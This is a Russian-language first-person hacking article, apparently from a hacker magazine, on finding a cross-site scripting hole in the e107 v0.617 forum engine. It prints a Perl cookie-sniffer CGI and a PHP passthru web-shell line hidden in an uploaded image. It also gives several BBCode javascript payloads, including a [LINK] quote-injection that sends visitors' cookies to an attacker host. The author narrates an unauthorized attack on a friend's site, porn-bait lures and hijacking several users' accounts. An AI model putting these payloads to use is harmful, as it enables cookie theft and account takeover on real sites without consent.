Здравствуйте, я хотел бы вам поведать о том, как я нашёл простенькую CSS уязвимость в
распространенном по всему миру движке e107 v.0617.

Все началось с обычного желания захватить админские права на сайте одного моего друг, после
чего запостить пару новостей от его имени, этакой прикол… Его сайт —
http://www.nkc.ru — уже однажды подвергался нашему гнусному влиянию и был дефейснут. На сайте было
сказано, что мол движок обновлен и т. д. Ну
что же думаю, надо пощупать этот e107 😉 И вот однажды
темной темной ночью я приступил к исследованию…
Первым делом я решил попробовать закачать свою фотографию с
небольшой поправкой в коде (в конце было дописано <? passthru(«$cmd»); ?>) Картинка удачно
закачалась, но вот поиметь с этого к сожалению ничего не получилось, далее я полез на
форум… Попробовал разные вариации css атаки и о чудо, загрузив предпросмотр на меня полетели
сообщения типа hello,this css attack. Хм..Я быстренько написал cgiшный снифер и залил его на
свой сайт. Вот код сниффера:

=cookiesniffer.cgi code:=
#!/usr/bin/perl -w
open COOKIES,»>>../WWW/cookies.txt»;
print «Content-type:text/html\n\n»;
print COOKIES «—-n3w cookie——\n»;
print COOKIES «$ENV{‘QUERY_STRING’}\n»;
print COOKIES»——end 0f C00cie——-\n\n»;
close COOKIES;
=end cookiesniffer.cgi code=

После тестирования css атаки на моем сайте появился файл cookies.txt с моими
cookies. Не помня себя от счастья я наконец-то скормил старательно составленное сообщение форуму (до этого я
тестировал его в предпросмотре) и… конкретно обломался.
Вместо хитроумной картинки я увидел лишь код моего
javascript’a… Выдержав приступ агрессии к разработчикам, поленившимся поставить
фильтры на предпросмотр, но поставившим их в окончательном сообщении вылезавшем на форуме, я
приступил к дальнейшему изучению уже ставшего достойным соперником форума. Как только я не
изощрялся и не извращался с кодировками, регистрами пробелами и т.д., но яваскрипты не проходили…
Правда, наутро в моей голове и зародились ещё пара способов обхода фильтров, но не будем об
этом… 

Итак, ничего не получилось, все теги обрезались и переводились в обычный текст… Но ведь
есть ещё тэги,  созданные для упрощения жизни юзерам, и вот тэг [img][/img] меня порадовал, хотя
не настолько, чтобы тырить куки администратора. Сейчас объясню: дело в том что при вставки самого банального
[img]javascript:alert(‘Привет, посети http://www.deface.h15.ru/’)[/img]
вылазит рекламка =) Но этого мало, а скрипт следующего содержания
[img]javascript:document.location.href=’ http://www.site/cgi-bin/cookie.cgi’+document.cookie[/img]
ничего не выдает. То есть админских куков с этого бага не поиметь, максимум чего можно
добиться так это бомбардировка вражеского форума сообщениями с рекламой своего ресурса, или же с
правдивыми историями о том, как ты застукал админа форума в гей клубе…
Стоп, а ты то что там делал =)) Ладно, отвлеклись. Поиздевавшись с тэгами управляющими стилем надписи ничего
интересного найдено не было… Оставался последний тэг
[link][/link]. И тут то меня поджидала удача =)) Оказывается, что разработчики движка все таки допустили существенную ошибку =)) Тэг
[link] не фильтруется на символ двойной кавычки, то есть если организовать этот тэг вот так
[LINK=http://www.site.ru» onclick=document.location.hef=’http://hacker_site/cgi-bin/cookiesniffer.cgi?’
+document.cookie;target="_blank]site.ru[/LINK],  то после клика по ссылке в новом окне
откроется сайт на который мы ссылались, а в старом окошке произойдет редирект на скрипт,
собирающий куки. Таким образом можно составить интересное сообщение например:

Супер халява! Беплатное порно! Хардкро, голая бритни!!

Link1
Link2
porn-super
porrrnuuxa
и т.д…

Либо же кучу реально интересных ссылок, не важно, главное, чтобы
юзер клацнул… Правда если они клацнут правой кнопкой мышки и прикажут браузеру открыть в новом
окне, то куков ты не получишь, но если же все выгорит… то… 
Хм, ну получили мы куки, а что дальше? А дальше скачиваем программу cookie editor и подменяем
свои куки на куки другого пользователя, после чего мы заходим на сайт и видим себя каким-нибудь
Васей =))

В результате я поимел аккаунты нескольких пользователей…

PS: Вот так вот я нашёл уязвимость в популярнейшем движке…
А когда мою адвизори опубликовали на www.security.nnov.ru я был на седьмом небе от счастья.

Оставить мнение

Check Also

Мошенничество по воздуху. Разбираем возможность Cryptogram Replay Attack в Apple Pay

Задача платежной системы — списать нужную сумму в пользу продавца со счета верное число ра…